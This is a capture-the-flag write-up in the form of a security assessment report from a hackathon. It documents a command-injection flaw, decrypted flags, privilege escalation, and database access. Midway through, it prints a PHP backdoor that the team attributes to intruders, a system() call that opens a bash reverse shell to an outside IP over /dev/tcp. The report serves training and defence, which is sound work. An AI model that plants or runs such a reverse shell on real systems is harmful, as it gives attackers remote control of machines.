Demo Company

Security Assessment Findings Report

Date: November 19th, 2022

Contact Information

Name	Title	Contact Information
NUWE x Schneider Electric		
Alvaro García Bamala	Participant (Team Lead)	Email: alvaro.garcia.bamala@gmail.com Github: https://github.com/minutazos
Vasco Ribeiro Bettencourt	Participant	Email: vasco.ribeiro@epitech.eu Github: https://github.com/VascoGithub

Finding Severity Ratings

The following table defines levels of severity and corresponding CVSS score range that are used throughout the document to assess vulnerability and risk impact.

Severity	CVSS V3 Score Range	Definition
Critical	9.0-10.0	Exploitation is straightforward and usually results in system-level compromise. It is advised to form a plan of action and patch immediately.
High	7.0-8.9	Exploitation is more difficult but could cause elevated privileges and potentially a loss of data or downtime. It is advised to form a plan of action and patch as soon as possible.
Moderate	4.0-6.9	Vulnerabilities exist but are not exploitable or require extra steps such as social engineering. It is advised to form a plan of action and patch after high-priority issues have been resolved.
Low	0.1-3.9	Vulnerabilities are non-exploitable but would reduce an organization’s attack surface. It is advised to form a plan of action and patch during the next maintenance window.
Informational	N/A	No vulnerability exists. Additional information is provided regarding items noticed during testing, strong controls, and additional documentation.

Scope

Assessment	Details
Security Audit	Machine IP: 18.170.3.252

Security Audit Findings

Command Execution - pseudo_terminal (High)

Description:	In pseudo_terminal there is a call to os.popen() executing a command that contains user input. This opens the door to execute commands in a remote way.
Impact:	High (though it doesn't compromise the entire system, only the docker container running pseudo_terminal)
System:	
References:	

Exploitation Proof of Concept

Remediation

Who:	IT Team
Vector:	Remote
Action:	Item 1: Modify cmd_banner os.popen() call. Item 2: Use of subprocess.popen() Item 3: Check and sanitize argument before calling subprocess.popen() Additional Recommendations: Try not to use system calls which include user input.

Exploitation Paths

We've started by analyzing all the files given to us.

We began with the internal.vese.com source code. In the index.html code we found the following comments:

<!--K___E__Y--> and <!--nujnlhrZZKidXugUkCtiUgqDMuoDbnA3-->

We also found that the php script login.php is being used, so we checked the file in question. After following the code around we were able to identify what we thought would be an AES hash (*cc5713089b0a9335111f55bd25e39130b843dabadf63e1170c668d0a4a6d5e37*). Using the key from the html source code and the AES hash commented in login.php and "NuweSEEuropeanCyberHackathon2022" as VI we were able to decrypt the first flag.

{FLAG_INTWEBSI_SQLI_306481}

Afterwards, we continued with contact.verse.com. We also found some comments in the index.html file:

<!-- ||K||E||Y||--> and <!-- 5Mk3rXNhMC8Osgpki3iOcdVTkSAIMdxE -->

Looking closely at the source code, we can observe that test_comment.php is being called. So we checked it and we found a code hashed in base64 that is being executed on the script.

After decrypting it, we found the following code:

```
//426ce929ea051285e551eaf2b2de2bf463ae78456fa3b64adb5fd2214d985e34

if ($name == "test1" && $email == "test@test.com" && $message == "test2"){

        system("bash -c 'bash -i >& /dev/tcp/158.46.250.151/9001 0>&1'");

}
```

Here we found a code snippet introduced by the intruders, this code permits them to access the machine again, without need to authenticate in. We've done a reverse lookup for the IP, and we found that they are located in Moscow, although we should do more research to confirm it at 100%. To prevent more intrusions, the code snippet has to be erased (it begins with eval(...) .

In the code snippet we also found what it looks as an AES hash (*426ce929ea051285e551eaf2b2de2bf463ae78456fa3b64adb5fd2214d985e34*), so we followed the same procedure as in internal.vese.com and decrypted the AES hash and obtained the following flag.

{FLAG_PUBWEBSI_BACK_892356}

Then, we proceed to audit the pseudo_terminal software. In switch.py file we found interesting things, another key (*IUt0zFZKcPsLo2yek7OgSpockEd80LOA*) and another AES hash (*73b0c826e8be11fa266896bb1150d1844f88fc5458de5a0546b1a2344e9a57b8*). After following the same technique as the other keys we were able to obtain a new flag.

{FLAG_PSEUTERM_COIN_256579}

We continue to audit pseudo_terminal, and looking close to cmd_banner, we see the use of a vulnerable function: os.popen(). This function is used to execute programs in the computer, it wouldn't be dangerous if the string passed to the function (the command to be executed) doesn't have user input. In case it has user input, you need to call the function with SHELL=false, because the function can be used along pipelines to execute commands in a remote way. Using this vulnerability, we found the file flag.txt, with the key (*pIsTOK52x5NH8Um7e1a2PQV8JVn6qeoC*) and the AES hash (*110bf4e37f4133c7e6bcb6e3b326322b4cded14fd80c3f64ef34e64090adb568*). We followed the same procedure as the other flags and got the following flag.

{FLAG_PSEUTERM_MISC_359867}

We then proceeded to inspect the network dump. In the network dump we found a package (MQTT protocol) where a password is given in plain text. We executed *su* command to login as johnsysadmin with this password, and it worked. From here we were able to login as root using *sudo su* -. Once we executed "sudo su'' to obtain root access, we noticed a call for an alias instead of the original sudo being called. It was located in the johnsysadmin home directory inside the .locale directory, which contained an AES hash *(991b5887ab76f9fa6061ee44d2d20a8e42de631308853f38f5883e36c8b1d3bc)* . After searching around in the home directory we found what we thought might be a Key in ".bashrc". *(30sCHumIfzWRhhoKRoyFTa7Yx0LaXvmu).* We tested it and our suspicion was correct, and we obtained another flag.

{FLAG_MAINHOST_FASU_172836}

After sniffing around the bash_history from the user *eliseo* we find suspicious commands affecting the ".ssh/authorized_keys" file and find nothing useful, but the file with the "public key" in the same directory had a key *(0GfABNP4esxc8fDNGQpPnEZJyiaVIoAH)* and an AES hash (*84794b1ccb6905ab2397aac415c82afbb5fd8d40049d82c3043f0a4200fb77da*). We follow the same procedure and decrypt it, getting the following flag.

{FLAG_MAINHOST_RUBD_507598}

We find a docker container running the database, and decide to execute a mysql command through docker to access it. In the file *setup.sql* we found the root user and password for the database. Once logged in, in the table users we're able to find a user called Decrypt Me, which had a password *(ee234f62b7578420925a2307b51c64b3ca153ad7336d8636f7ac3e1a8888e6c2)* that was not a MD5 (which login.php indicated that all the passwords were stored as MD5 hash), it also had a key (qL1cmCvxPS626V9MBVCL3x18LKZc4oc8) in the login.php file right beside where it indicates that the passwords are stored in MD5. Since now we have the AES hash and the key we're able to follow the same procedure and decrypt it.

{FLAG_INTWEBSI_IHAL_421571}